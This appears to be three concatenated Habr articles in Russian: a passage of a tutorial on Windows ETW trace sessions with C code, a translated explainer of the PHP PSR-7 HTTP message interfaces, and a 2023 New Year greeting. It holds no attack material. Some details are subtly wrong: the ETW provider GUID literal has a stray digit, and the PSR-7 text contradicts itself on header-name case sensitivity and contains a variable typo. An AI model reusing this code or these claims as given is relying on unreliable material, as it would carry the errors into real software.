Начнем с самого простого.
### Настройка и запуск сеанса отслеживания событий
Для начала рассмотрим общую идею.
Чтобы запустить сеанс трассировки необходимо:
1) Задать структуру EVENT\_TRACE\_PROPERTIES
2) Запустить сеанс с помощью StartTrace
Далее необходимо включить поставщиков событий
3) Включаем поставщиков с помощью EnableTrace | EnableTraceEx | EnableTraceEx2
Чтобы остановить сеанс трассировки необходимо:
4) Перед остановкой сеанса трассировки необходимо отключить провайдеров с помощью EnableTrace | EnableTraceEx | EnableTraceEx2, передав EVENT\_CONTROL\_CODE\_DISABLE\_PROVIDER
5) Вызвать функцию ControlTrace и передать ей EVENT\_TRACE\_CONTROL\_STOP
В приведенном ниже примере я создаю сессию с именем MyEventTraceSession. Файл журнала логирования находится в текущей директории и называется WriteThePuth.etl
Поставщиком событий является Microsoft-Windows-Kernel-Process. Его GUID Вы можете узнать с помощью
```
wevtutil gp Microsoft-Windows-Kernel-Process /ge /gm
```
Непосредственно код:
```
#include
#include
#include
#include
#include
#include
#include
#define LOGFILE\_PATH L"WriteThePuth.etl"
#define LOGSESSION\_NAME L"MyEventTraceSession"
// GUID, который идентифицирует ваш сеанс трассировки.
// Не забудьте создать свой собственный GUID сеанса.
// {AE44CB98-BD11-4069-8093-770EC9258A12}
static const GUID SessionGuid =
{ 0xae44cb98, 0xbd11, 0x4069, { 0x80, 0x93, 0x77, 0xe, 0xc9, 0x25, 0x8a, 0x12 } };
// GUID, который определяет провайдера, который вы хотите
// включить в вашу сессию.
//{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716} Microsoft-Windows-Kernel-Process
static const GUID ProviderGuid =
{ 0xd22FB2CD6, 0x0E7B, 0x422B, {0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 } };
void wmain(void)
{
setlocale(LC\_ALL, "ru");
ULONG status = ERROR\_SUCCESS;
TRACEHANDLE SessionHandle = 0;
EVENT\_TRACE\_PROPERTIES\* pSessionProperties = NULL;
ULONG BufferSize = 0;
BOOL TraceOn = TRUE;
BufferSize = sizeof(EVENT\_TRACE\_PROPERTIES) + sizeof(LOGFILE\_PATH) + sizeof(LOGSESSION\_NAME);
pSessionProperties = (EVENT\_TRACE\_PROPERTIES\*)malloc(BufferSize);
if (NULL == pSessionProperties)
{
wprintf(L"Unable to allocate %d bytes for properties structure.\n", BufferSize);
goto cleanup;
}
ZeroMemory(pSessionProperties, BufferSize);
pSessionProperties->Wnode.BufferSize = BufferSize;
pSessionProperties->Wnode.Flags = WNODE\_FLAG\_TRACED\_GUID;
pSessionProperties->Wnode.ClientContext = 1; //QPC clock resolution
pSessionProperties->Wnode.Guid = SessionGuid;
pSessionProperties->LogFileMode = EVENT\_TRACE\_FILE\_MODE\_SEQUENTIAL;
pSessionProperties->MaximumFileSize = 1024; // 1024 MB
pSessionProperties->LoggerNameOffset = sizeof(EVENT\_TRACE\_PROPERTIES);
pSessionProperties->LogFileNameOffset = sizeof(EVENT\_TRACE\_PROPERTIES) + sizeof(LOGSESSION\_NAME);
StringCbCopy((LPWSTR)((char\*)pSessionProperties + pSessionProperties->LogFileNameOffset), sizeof(LOGFILE\_PATH), LOGFILE\_PATH);
status = StartTrace((PTRACEHANDLE)&SessionHandle, LOGSESSION\_NAME, pSessionProperties);
if (ERROR\_SUCCESS != status)
{
wprintf(L"StartTrace() failed with %lu\n", status);
goto cleanup;
}
// Включите провайдеров, которые вы хотите, чтобы записывали события в ваш сеанс.
status = EnableTraceEx2(
SessionHandle,
(LPCGUID)&ProviderGuid,
EVENT\_CONTROL\_CODE\_ENABLE\_PROVIDER,
TRACE\_LEVEL\_INFORMATION,
0,
0,
0,
NULL
);
if (ERROR\_SUCCESS != status)
{
wprintf(L"EnableTrace() failed with %lu\n", status);
TraceOn = FALSE;
goto cleanup;
}
// Запущено приложение провайдера. Затем нажмите любую клавишу, чтобы остановить сеанс
wprintf(L"Run the provider application. Then hit any key to stop the session.\n");
\_getch();
cleanup:
if (SessionHandle)
{
if (TraceOn)
{
status = EnableTraceEx2(
SessionHandle,
(LPCGUID)&ProviderGuid,
EVENT\_CONTROL\_CODE\_DISABLE\_PROVIDER,
TRACE\_LEVEL\_INFORMATION,
0,
0,
0,
NULL
);
}
status = ControlTrace(SessionHandle, LOGSESSION\_NAME, pSessionProperties, EVENT\_TRACE\_CONTROL\_STOP);
if (ERROR\_SUCCESS != status)
{
wprintf(L"ControlTrace(stop) failed with %lu\n", status);
}
}
if (pSessionProperties)
{
free(pSessionProperties);
pSessionProperties = NULL;
}
}
```
Разберем приведенную программу более подробно.
1) Задаем структуру EVENT\_TRACE\_PROPERTIES
Чтобы настроить сеанс трассировки событий, необходимо использовать структуру EVENT\_TRACE\_PROPERTIES, чтобы указать свойства сеанса. Память, которую вы выделяете для структуры EVENT\_TRACE\_PROPERTIES, должна быть достаточно большой, чтобы также содержать имена файлов сеансов и журналов, которые следуют за структурой в памяти.
2) Запускаем сеанс с помощью StartTrace
После того, как вы укажете свойства сеанса, вызовите функцию StartTrace, чтобы запустить сеанс. Если функция завершается успешно, параметр SessionHandle будет содержать дескриптор сеанса, а свойство LoggerNameOffset будет содержать смещение имени сеанса.
3) Включаем поставщиков с помощью EnableTrace | EnableTraceEx | EnableTraceEx2
Чтобы включить поставщиков, которым вы хотите разрешить записывать события в свой сеанс, вызовите функцию EnableTrace, чтобы включить классических поставщиков, и функцию EnableTraceEx, чтобы включить поставщиков на основе манифеста. В остальных случаях — EnableTraceEx2.
4) Перед остановкой сеанса трассировки необходимо отключить провайдеров с помощью EnableTrace | EnableTraceEx | EnableTraceEx2, передав EVENT\_CONTROL\_CODE\_DISABLE\_PROVIDER
Чтобы остановить сеанс трассировки после сбора событий, вызовите функцию ControlTrace и передайте EVENT\_TRACE\_CONTROL\_STOP в качестве управляющего кода. Чтобы указать сеанс для остановки, вы можете передать дескриптор сеанса трассировки событий, полученный из более раннего вызова функции StartTrace, или имя ранее запущенного сеанса. Обязательно отключите всех провайдеров перед остановкой сеанса. Если вы остановите сеанс перед первым отключением провайдера, ETW отключит провайдера и попытается вызвать контрольную функцию обратного вызова провайдера. Если приложение, запустившее сеанс, завершается без отключения поставщика или вызова функции ControlTrace, поставщик остается включенным.
5) Чтобы остановить сеанс трассировки, вызываем функцию ControlTrace и передаем ей EVENT\_TRACE\_CONTROL\_STOP
Как мы убедились на приведенном выше примере, использование Event Tracing API является не самым простым. В зависимости от того, чем вы занимаетесь, дальше можно заниматься либо написание поставщиков событий, либо написанием потребителей событий. Однако обе эти задачи довольно объемные и в этой статье рассматриваться не будут! Дополнительную сложность создают 4 вида поставщиков событий, и, соответственно, 4 варианта написания событий и 4 варианта их потребления. Очень подробно и хорошо работа с Event Tracing API описана на официальном сайте Microsoft [Using Event Tracing](https://docs.microsoft.com/en-us/windows/win32/etw/using-event-tracing)
Проработав некоторое время с Event Tracing API у меня появился вопрос: а есть ли утилиты, которые упросят мне жизнь?
Использование tracerpt и xperf для работы с ETW
-----------------------------------------------
В этой главе я не буду рассматривать эти утилиты с теоретической точки зрения.
Команду Tracerpt можно использовать для анализа журналов трассировки событий, файлов журналов, созданных монитором производительности, и поставщиков трассировки событий в реальном времени. Он создает файлы дампа, файлы отчетов и схемы отчетов. У этой утилиты большое количество параметров, однако для начала работы подойдет следующий «минимум»
```
tracerpt "имя 1-ого файла.etl" ... "имя n-ого файла.etl" -o <имя текстового выходного файла> -report <имя текстового выходного файла отчета> -summary<имя текстового файла сводного отчета>
```
Утилита xperf.exe является полноценным контроллером. Она поддерживает аргументы командной строки, позволяющие управлять ETW-провайдерами и сессиями. Контроллеры могут запрашивать состояние активных в данный момент сессий и получать списки всех зарегистрированных в системе провайдеров. Например, для получения всех активных сессий следует использовать следующую команду:
```
C:\>xperf -loggers
```
а для получения списка всех зарегистрированных в системе провайдеров — команду:
```
C:\>xperf -providers
```
Контроллеры обладают еще несколькими ключевыми функциями. Они могут обновлять сессии и сбрасывать содержимое буферов на диск.
На этом пока все!
К сожалению, в данной статье я не затронул некоторое количество интересных вопросов (например, потребление событий в режиме реального времени или работу с сессиями специального назначения).
Об этом можно почитать на следующих сайтах:
[Event Tracing](https://docs.microsoft.com/en-us/windows/win32/etw/event-tracing-portal) — официальная документация Microsoft
[Изучаем ETW и извлекаем профиты](https://kaimi.io/2017/03/etw-event-tracing-for-windows/comment-page-1/#comment-20820)
[Event Tracing for Windows на стороне зла. Но это не точно](https://habr.com/ru/company/pc-administrator/blog/418787/)
[Самый худший из когда-либо созданных API](https://habr.com/ru/post/254795/) | https://habr.com/ru/post/502362/ | null | ru | null |
# PSR-7 в примерах
Стандарт [PSR-7](https://github.com/php-fig/fig-standards/blob/master/proposed/http-message.md) успешно завершён. На этой неделе были добавлены последние штрихи. И теперь версия 0.6.0 пакета [http-message package](https://github.com/php-fig/http-message) готова к использованию. Попробуйте следовать этому стандарту в своих приложениях.
Я до сих пор слышу замечания как по поводу слишком упрощённого, так и по поводу слишком сложного изложения. Именно поэтому написан этот пост — чтобы продемонстрировать использование опубликованных рекомендаций и показать одновременно и их простоту, и полноту и надёжность, которые они предоставляют.
Для начала, я кратко расскажу о том, что регулирует этот стандарт.
HTTP сообщения
--------------
HTTP — достаточно простой протокол. Именно поэтому он успешно используется на протяжении многих лет. Сообщения в нём имеют следующую структуру:
```
Header: value
Another-Header: value
Message body
```
Заголовки представляют собой пары ключ–значение. Ключи являются чувствительными к регистру. Значения представляют собой строки. Один заголовок может иметь несколько значений. В этом случае обычно значения представлены списком, разделённым запятыми.
Тело сообщения (Message body) – это строка. Хотя обычно оно обрабатывается сервером и клиентом как поток, чтобы уменьшить потребление памяти и снизить нагрузку при обработке. Это чрезвычайно важно, когда передаются большие наборы данных, и особенно, когда передаются файлы. Например, PHP «из коробки» представляет входящее тело запроса как поток php://input и использует выходной буфер (тоже, формально, поток), чтобы вернуть ответ.
Строка сообщения (message line) – это место, которое отличает HTTP запрос от ответа.
Строка сообщения у запроса (далее строка запроса) имеет следующий формат:
```
METHOD request-target HTTP/VERSION
```
Где метод (“METHOD”) определяет вид запроса: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD и так далее, версия протокола (“VERSION”) обычно 1.0 или 1.1 (чаще 1.1 у современных веб клиентов). А на цели запроса (“request-target”) остановимся подробнее.
Цель запроса может быть представлена следующим образом:
* В стандартной форме, которая представляет собой путь и строку запроса (если представлена), т.е. [URI](https://ru.wikipedia.org/wiki/URI) (Universal Resource Identifier).
* В абсолютной форме, которая представляет собой абсолютный URI .
* В форме для авторизации, которая представляет собой часть URI необходимую для авторизации (информация о пользователе, если представлена; хост; и порт, если не стандартный).
* В виде \*, то есть строка, состоящая из символа «\*».
Обычно, данные для авторизации HTTP клиент передаёт только с первым запросом, чтобы соединиться с HTTP сервером. Потом в качестве цели запроса отправляется просто относительный (или абсолютный) путь к ресурсу (URI без данных для авторизации). Таким образом данные для авторизации передаются только для запроса на соединение (метод CONNECT ), который обычно выполняется, когда идет работа с прокси сервером. Символ «\*» используется с методом OPTIONS, чтобы получить общие сведения о веб сервере.
Короче говоря, есть много вариантов использования цели запроса.
Теперь, чтобы окончательно вас запутать, рассмотрим URI. Мы видим следующее:
```
://[/][?]
```
“scheme” в http запросе будет или http, или https. “path” – это тоже всем понятная часть. Но что такое “authority”?
```
[user-info@]host[:port]
```
“authority” всегда содержит хост, который может быть доменным именем или IP адресом. Порт является опциональным и необходим только в том случае, когда не является стандартным для данной схемы (или если схема неизвестна). Информация о пользователе представляется в виде
```
user[:pass]
```
где пароль является необязательным. Фактически, в существующих спецификациях, рекомендуется вообще не использовать пароль в URI. Лучше принудительно запросить пароль у клиента.
Строка запроса – это набор пар ключ-значение, разделённых амперсандами:
```
?foo=bar&baz&quz=1
```
В зависимости от языка реализации, она так же может моделировать списки или массивы:
```
?sort[]=ASC&sort[]=date&filter[product]=name
```
PHP преобразует данную строку в двумерный массив:
```
[
'sort' => [
'ASC',
'date'
],
'filter' => [
'product' => 'name'
],
]
```
Итак, если бы гибкости в формировании цели запроса нам оказалось бы недостаточно, URI предоставил бы свою.
К счастью, ответы HTTP сервера проще. Строка ответа выглядит следующим образом:
```
HTTP/VERSION [ ]
```
“VERSION”, как говорилось ранее, — это обычно 1.0 или, чаще, 1.1. “status” – это число от 100 до 599 включительно; «reason» — пояснение к статусу, стандартное для каждого статуса.
Итак, это был беглый обзор HTTP сообщений. Давайте теперь посмотрим, как PSR-7 моделирует их.
Заголовки сообщений
-------------------
Названия заголовков сообщений изначально регистронезависимы. К сожалению, большинство языков и библиотек приводят их к одному регистру. Как пример, PHP хранит их в массиве $\_SERVER в верхнем регистре, с префиксом HTTP\_, и подставляя \_for – (это для соответствия с [Common Gateway Interface](http://www.w3.org/CGI/) (CGI) спецификацией).
PSR-7 упрощает доступ к заголовкам, предоставляя объектно-ориентированный слой над ними
```
// Вернёт null, если не найдено:
$header = $message->getHeader('Accept');
// Проверить, указан ли заголовок:
if (! $message->hasHeader('Accept')) {
}
// Если у заголовка несколько значений,
// то вернётся массив:
$values = $message->getHeaderLines('X-Foo');
```
Вся вышеуказанная логика не зависит от того, как указан заголовок; accept, ACCEEPT или даже aCCePt будут корректными именами заголовка и вернут одинаковый результат.
PSR-7 предполагает, что разбор всех заголовков вернёт структуру в виде массива:
```
/* Returns the following structure:
[
'Header' => [
'value1'
'value2'
]
]
*/
foreach ($message->getAllHeaders() as $header => $values) {
}
```
Когда структура определена, пользователи точно будут знать, что получат и могут обрабатывать заголовки удобным им способом – вне зависимости от реализации.
Но что если вы захотите добавить заголовки к сообщению – например, чтобы создать запрос и передать его HTTP клиенту?
Сообщения в PSR-7 смоделированы в виде [объектов-значений](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%BE%D0%B1%D0%BB%D0%B5%D0%BC%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5#.D0.9E.D0.B1.D1.8A.D0.B5.D0.BA.D1.82-.D0.B7.D0.BD.D0.B0.D1.87.D0.B5.D0.BD.D0.B8.D0.B5); это означает, что любое изменение в состоянии – это, фактически, другое значение. Таким образом, определение нового заголовка создаст в результате новый объект сообщения.
```
$new = $message->withHeader('Location', 'http://example.com');
```
Если вам нужно просто обновить значение, вы можете просто переопределить его:
```
$message = $message->withHeader('Location', 'http://example.com');
```
Если вы хотите добавить другое значение к уже существующему заголовку, вы можете поступить следующим образом:
```
$message = $message->withAddedHeader('X-Foo', 'bar');
```
Или даже удалить заголовок:
```
$message = $message->withoutHeader('X-Foo');
```
Тело сообщения
--------------
Как было указано выше, тело сообщения обычно обрабатывается как поток для улучшения производительности. Это особенно важно, когда вы передаёте файлы, используя HTTP. Если только вы не собираетесь использовать всю доступную память на текущий процесс. Большинство реализаций HTTP сообщений, которые я просмотрел, забывают об этом или пытаются изменить поведение по факту (да, даже ZF2 этим грешит!). Если вы хотите подробнее прочитать о преимуществах данного подхода, прочитайте статью Майкла Доулинга. Он [написал](http://mtdowling.com/blog/2014/07/03/a-case-for-higher-level-php-streams/) в своём блоге об использовании потоков в PSR-7 прошлым летом.
Итак, тело сообщения в PSR-7 смоделировано как [поток](https://github.com/php-fig/http-message/blob/master/src/StreamableInterface.php).
«Но это слишком сложно для 80% случаев, где можно обойтись строками!» — наиболее частый аргумент в числе тех, что критикуют данную реализацию обработки тела сообщения. Хорошо, давайте рассмотрим следующее:
```
$body = new Stream('php://temp');
$body->write('Here is the content for my message!');
```
Данный пример, и все последующие примеры работы с HTTP сообщениями в данном посте будут использовать [phly/http](https://github.com/phly/http) – библиотеку, написанную мной и отражающую развитие PSR-7. В данном случае Stream реализует StreamableInterface.
По существу, вы получаете тонкий, объектно-ориентированный интерфейс для взаимодействия с телом сообщения, который позволяет добавить к нему информацию, прочитать её и многое другое. Хотите изменить сообщение? Создайте новое тело сообщения:
```
$message = $message->withBody(new Stream('php://temp'));
```
Моё мнение состоит в том, что несмотря на то, что представление тела сообщения в виде потока кажется сложным, на деле реализация и использование достаточно просты и понятны.
Выгода использования StreamableInterface в PSR-7 состоит в том, что он предоставляет гибкость, упрощающую реализацию различных шаблонов проектирования. Например, вы можете реализовать “callback” функцию, которая при вызове метода read() или getContents() возвращает содержание сообщения (Drupal, в частности, использует этот шаблон). Или «Iterator», реализация которого использует любой «Traversable», чтобы вернуть или объединить контент. Смысл в том, что такой интерфейс даёт вам широкий простор реализации множества шаблонов для работы с телом сообщения. А не ограничивает просто строками или файлами.
StreamableInterface предлагает набор методов, которые чаще всего используются при работе с телом HTTP сообщения. Это не означает, что он предусматривает абсолютно всё, но покрывает большой набор потенциально необходимых операций.
Лично я люблю использовать потоки php://temp, потому как они находятся в памяти до тех пор, пока не станут достаточно большими (в этом случае они записываются во временный файл на диске). Метод может быть достаточно эффективным.
Ответы
------
До сих пор мы рассматривали функции, общие для любых сообщений. Теперь я собираюсь остановиться на ответах в частности.
У ответа есть статус код и пояснительная фраза:
```
$status = $response->getStatusCode();
$reason = $response->getReasonPhrase();
```
Это легко запомнить. Теперь, что если мы сами формируем ответ?
Пояснительная фраза считается необязательной (но в тоже время стандартной для каждого статус кода). Для неё интерфейс предусматривает специфичный для ответа мутатор withStatus():
```
$response = $response->withStatus(418, "I’m a teapot");
```
Повторюсь, сообщения смоделированы как объекты-значения; изменение любого значения создаст в результате новый экземпляр, который должен быть привязан к ответу или запросу. Но в большинстве случаев вы будете просто переназначать текущий экземпляр.
Запросы
-------
Запросы содержат следующее:
* Метод.
* URI / цель запроса.
Последний немного сложен для моделирования. Вероятно в 99% случаев, мы увидим в качестве цели запроса стандартный URI. Но это не отменяет того факта, что необходимо предусмотреть и другие типы целей запроса. Таким образом, интерфейс запроса выполняет следующее:
* Составляет экземпляр UriInterface, который моделирует URI запроса.
* Предоставляет два метода для цели запроса: getRequestTarget(), который возвращает цель запроса, и вычисляет её, если не представлено (используя предлагаемый URI, чтобы вернуть исходную форму или чтобы вернуть «/», если URI не предоставлен или не содержит путь); и withRequestTarget(), чтобы создавать новый экземпляр со специфической целью запроса.
Это в дальнейшем позволит нам адресовать запросы с произвольной целью запроса, когда это необходимо (например, используя информацию об URI в запросе для установки соединения с HTTP клиентом).
Давайте получим метод и URI с запроса:
```
$method = $request->getMethod();
$uri = $request->getUri();
```
$uri в данном случае будет экземпляром UriInterface, и позволит вам использовать URI:
```
// части URI:
$scheme = $uri->getScheme();
$userInfo = $uri->getUserInfo();
$host = $uri->getHost();
$port = $uri->getPort();
$path = $uri->getPath();
$query = $uri->getQuery(); // строка запроса
$authority = $uri->getAuthority(); // [user-info@]host[:port]
```
Точно так же, как и HTTP сообщения, URI представлены в виде объектов-значений, и изменение любой части URI меняет его значение, мутирующие методы возвращают новый экземпляр:
```
$uri = $uri
->withScheme('http')
->withHost('example.com')
->withPath('/foo/bar')
->withQuery('?baz=bat');
```
Так как изменение URI означает создание нового экземпляра, то если вы хотите, чтобы изменение отразились в вашем запросе, вам необходимо сообщить об этих изменениях объекту запроса; и, как и с любым сообщением, если необходимо изменить метод или URI в конкретном экземпляре, следует использовать следующие методы:
```
$request = $request
->withMethod('POST')
->withUri($uri->withPath('/api/user'));
```
Серверные запросы
-----------------
Серверные запросы имеют немного другие задачи, нежели стандартные сообщения HTTP запросов. Родной для PHP Server API (SAPI) предоставляет нам набор обычных, как для PHP разработчиков, функций:
* Десериализация аргументов в строке запроса ($\_GET).
* Десериализация закодированных данных переданных методом POST ($\_POST).
* Десериализация куки ($\_COOKIE).
* Индикация и обработка загруженных файлов ($\_FILES).
* Инкапсуляция параметров CGI/SAPI ($\_SERVER).
Аргументы из строки запроса, данные из тела запроса и куки могут быть получены с разных частей запроса, но было бы удобно, чтобы это было реализовано за нас. Бывают случаи, когда нам может потребоваться работать с этими значениями:
* Для API, данные могут быть в формате XML или JSON и могут быть переданы не только методом POST. То есть мы должны расшифровать данные и потом снова внедрить их в запрос.
* Многие фреймворки сейчас шифруют куки, и это означает, что их нужно расшифровать и внедрить в запрос.
Итак, PSR-7 предоставляет специальный интерфейс, ServerRequestInterface, который расширяет базовый RequestInterface, описывающий функции работы с подобными данными:
```
$query = $request->getQueryParams();
$body = $request->getBodyParams();
$cookies = $request->getCookieParams();
$files = $request->getFileParams();
$server = $request->getServerParams();
```
Представим, что вы пишете API и хотите принимать запросы в формате JSON; выполнение этого может выглядеть следующим образом:
```
$accept = $request->getHeader('Accept');
if (! $accept || ! preg_match('#^application/([^+\s]+\+)?json#', $accept)) {
$response->getBody()->write(json_encode([
'status' => 405,
'detail' => 'This API can only provide JSON representations',
]));
emit($response
->withStatus(405, 'Not Acceptable')
->withHeader('Content-Type', 'application/problem+json')
);
exit();
}
$body = (string) $request->getBody();
$request = $request
->withBodyParams(json_decode($body));
```
Пример выше демонстрирует несколько функций. Во-первых, он показывает извлечение заголовка из запроса, и ветвление логики, основанное на этом заголовке. Во-вторых, он показывает формирование объекта запроса в случае ошибки (функция emit() является гипотетической, она принимает объект запроса и отдаёт заголовки и тело запроса). Наконец, пример демонстрирует получение тела запроса, десериализацию и внедрение его снова в запрос.
Атрибуты
--------
Другая особенность серверных запросов – это атрибуты. Они предназначены для хранения значений, которые получены из текущего запроса. Частый пример использования – это хранение результатов маршрутизации (разделение URI на пары ключ/значение).
Работа с атрибутами состоит из следующих методов:
* getAttribute($name, $default = null) для получения определённого атрибута и возврата значения по умолчанию, если атрибут не найден.
* getAttributes() получение всех атрибутов.
* withAttribute($name, $value) для возврата нового экземпляра ServerRequestInterface, который содержит данный атрибут.
* withoutAttribute(($name) для возврата экземпляра ServerRequestInterface без указанного атрибута.
В качестве примера давайте рассмотрим Aura Router с нашим экземпляром запроса:
```
use Aura\Router\Generator;
use Aura\Router\RouteCollection;
use Aura\Router\RouteFactory;
use Aura\Router\Router;
$router = new Router(
new RouteCollection(new RouteFactory()),
new Generator()
);
$path = $request->getUri()->getPath();
$route = $router->match($path, $request->getServerParams());
foreach ($route->params as $param => $value) {
$request = $request->withAttribute($param, $value);
}
```
Экземпляр запроса в данном случае используется для упорядочивания данных и передачи маршруту. Затем результаты маршрутизации используются для создания экземпляра ответа.
Варианты использования
----------------------
Теперь после быстрой экскурсии по различным компонентам PSR-7, давайте вернёмся к конкретным примерам использования.
### Клиенты
Для меня главным создателем стандарта PSR-7 является [Майкл Доулинг](http://mtdowling.com/), автор популярного HTTP клиента [Guzzle](http://guzzlephp.org/). Поэтому совершенно очевидно, что PSR-7 принесёт улучшения HTTP клиентам. Давайте обсудим как.
Во-первых, это означает, что разработчики будут иметь уникальный интерфейс сообщений для выполнения запросов; они могут отправлять объект запроса по стандарту PSR-7 клиенту и получать обратно объект ответа по тому же стандарту.
```
$response = $client->send($request);
```
Благодаря тому, что сообщения и URI смоделированы как объекты-значения, это так же означает, что разработчики могут создавать базовые экземпляры запросов и URI и создавать раздельные запросы и URI из них:
```
$baseUri = new Uri('https://api.example.com');
$baseRequest = (new Request())
->withUri($baseUri)
->withHeader('Authorization', $apiToken);
while ($action = $queue->dequeue()) {
// Новый объект запроса! Содержит только
// URI и заголовок с авторизацией с базового.
$request = $baseRequest
->withMethod($action->method)
->withUri($baseUri->withPath($action->path)); // новый URI!
foreach ($action->headers as $header => $value) {
// Базовый запрос НЕ получит данные заголовки, что обеспечит последующим
// запросам содержать только необходимые заголовки!
$request = $request->withHeader($header, $value);
}
$response = $client->send($request);
$status = $response->getStatusCode();
if (! in_array($status, range(200, 204))) {
// Запрос провален!
break;
}
// Получить данные!
$data->enqueue(json_decode((string) $response->getBody()));
}
```
Что PSR-7 предлагает, так это стандартный способ взаимодействия с запросами, которые вы отправляете клиентом, и ответами, которые получаете. Реализуя объекты-значения, мы открываем возможность некоторым интересным вариантам использования с прицелом на упрощение шаблона «сброс запроса» — изменение запроса всегда даёт в результате новый экземпляр, позволяя нам иметь базовый экземпляр с известным состоянием, который мы всегда можем расширить.
Связующее звено
---------------
Я не буду долго на этом останавливаться, т.к. уже делал это в [статье](https://mwop.net/blog/2015-01-08-on-http-middleware-and-psr-7.html). Основная идея, если кратко, состоит в следующем:
```
function (
ServerRequestInterface $request,
ResponseInterface $response,
callable $next = null
) {
}
```
Функция принимает два HTTP сообщения, и выполняет некоторые преобразования с ними (которые могут включать делегирование к следующему доступному связующему звену). Обычно эти звенья возвращают объект ответа.
Другой вариант, который часто используется – это лямбда выражения (спасибо [Ларри Гарфилду](http://www.garfieldtech.com/), который выслал мне на почту этот термин!):
```
/* response = */ function (ServerRequestInterface $request) {
/* ... */
return $response;
}
```
В лямбда звене вы составляете одно в другом:
```
$inner = function (ServerRequestInterface $request) {
/* ... */
return $response;
};
$outer = function (ServerRequestInterface $request) use ($inner) {
/* ... */
$response = $inner($request);
/* ... */
return $response;
};
$response = $outer($request);
```
И наконец, есть метод, продвигаемый Rack и WSGI, в котором каждое звено является объектом и проходит к выходу:
```
class Command
{
private $wrapped;
public function __construct(callable $wrapped)
{
$this->wrapped = $wrapped;
}
public function __invoke(
ServerRequestInterface $request,
ResponseInterface $response
) {
//возможное управление запросом
$new = $request->withAttribute('foo', 'bar');
// делегирование звену, которое мы определили:
$result = ($this->wrapped)($new, $response);
// смотрим, получился ли в результате ответ
if ($result instanceof ResponseInterface) {
$response = $result;
}
// управление ответом перед его возвращением
return $reponse->withHeader('X-Foo', 'Bar');
}
}
```
Использование промежуточного звена состоит в том, что оно реализует связь между запросом и ответом и следует стандарту: предсказуемый шаблон с предсказуемым поведением. Это отличный метод написания веб компонентов, которые могут быть переиспользованы.
Фреймворки
----------
Одна вещь, которую фреймворки предлагают на протяжении многих лет – это … слой абстракции над HTTP сообщениями. Цель PSR-7 предоставить общий набор интерфейсов для фреймворков, чтобы последние могли использовать одинаковые абстракции. Это позволит разработчикам писать переиспользуемый, независимый от фреймворка код или, по крайней мере, это то, что я хотел бы увидеть!
Рассмотрим Zend Framework 2. Он определяет интерфейс Zend\Stdlib\DispatchableInterface, который является базовым для любого контроллера, который вы собираетесь использовать в фреймворке:
```
use Zend\Http\RequestInterface;
use Zend\Http\ResponseInterface;
interface DispatchableInterface
{
public function dispatch(
RequestInterface $request,
ResponseInterface $response
);
}
```
Это как раз описанное нами выше промежуточное звено; одно единственное различие состоит в том, что оно использует специфичные для данного фреймворка реализации HTTP сообщений. Что если вместо этого оно будет поддерживать PSR-7?
Большинство реализаций HTTP сообщений в фреймворках построено таким образом, что вы можете изменить состояние сообщения в любое время. Иногда это может быть не совсем верно, особенно если допустить, что состояние сообщения может быть уже недействительно. Но это, пожалуй, единственный недостаток данного метода.
Сообщения по стандарту PSR-7 являются объектами-значениями. Таким образом, вам не потребуется сообщать приложению каким-либо образом о любом изменении в сообщениях. Это делает реализацию более явной и простой для отслеживания в вашем коде (и пошагово в отладчике, и с использованием статических анализаторов кода).
В качестве примера, если ZF2 будет обновлён в соответствии с PSR-7, разработчики не будут обязаны сообщать MvcEvent о любых изменениях, которые они хотят передать сдедующим клиентам:
```
// Внутри контроллера
$request = $request->withAttribute('foo', 'bar');
$response = $response->withHeader('X-Foo', 'bar');
$event = $this->getEvent();
$event->setRequest($request)
->setResponse($response);
```
Приведённый выше код ясно показывает, что мы меняем состояние приложения.
Использование объектов-значений делает более простой одну особенную практику: распределение подзапросов или реализация Hierarchical MVC (HMVC). В этом случае вы можете создавать новые запросы, основанные на текущем, без информирования об этом приложения, и будучи уверенными, что состояние приложения не изменится.
В общем, для большинства фреймворков, использование PSR-7 сообщений переведёт к переносимой абстракции над HTTP сообщениями. Это даст возможность реализовать универсальное промежуточное звено. Адаптация сообщений, однако, потребует незначительных изменений. Разработчикам необходимо обновить код, отвечающий за отслеживание состояния приложения.
Источники
---------
Надеюсь, вы увидите преимущество, которое предоставляет стандарт PSR-7: унифицированную, полную абстракцию над HTTP сообщениями. В дальнейшем, эта абстракция может быть использована для каждой части HTTP транзакции (где вы отправляете запросы через HTTP клиент, или разбираете серверный запрос).
PSR-7 спецификация ещё не завершена полностью. Но то, что я обозначил выше, не подвергнется значительным изменениям без голосования. Более детально ознакомиться со спецификацией можно по ссылке:
* <https://github.com/php-fig/fig-standards/blob/master/proposed/http-message.md>
Я также рекомендую вам прочитать «пояснительную записку», так как она описывает идеи, разработанные решения и результаты (бесконечных) споров на протяжении двух лет:
* <https://github.com/php-fig/fig-standards/blob/master/proposed/http-message-meta.md>
Последние обновления опубликованы в пакете psr/http-message, который вы можете установить через [composer](https://getcomposer.org/). Это всегда самые последние обновлённые предложения.
Я создал библиотеку, phly/http, которая предлагает конкретную реализацию предложенных интерфейсов. Её так же можно установить через composer.
Наконец, если вы хотите поэкспериментировать с промежуточным звеном, основанным на PSR-7, предлагаю следующие варианты:
* [phly/conduit](https://github.com/phly/conduit), портированная с Sencha библиотека [Connect](https://github.com/senchalabs/connect), изпользующая phly/http и psr/http-message в своей основе.
* [Stacker](https://github.com/Crell/stacker), [StackPHP](http://stackphp.com/)-подобная реализация, написанная Ларри Гарфилдом.
Я вижу будущее разработки с PSR-7. И верю, что он породит совершенно новое поколение PHP приложений. | https://habr.com/ru/post/250343/ | null | ru | null |
# Хабр поздравляет всех с наступившим 2023 годом
Хабр поздравляет айтишников, программистов, разработчиков, системных администраторов, специалистов техподдержки, руководителей проектов, проектировщиков, инженеров, менеджеров, дизайнеров, монтажников и всех-всех-всех остальных причастных к IT-сообществу с наступившим 2023 годом!
Счастья и успехов вам в новом году — профессионалы и недавно пришедшие в увлекательный мир IT!
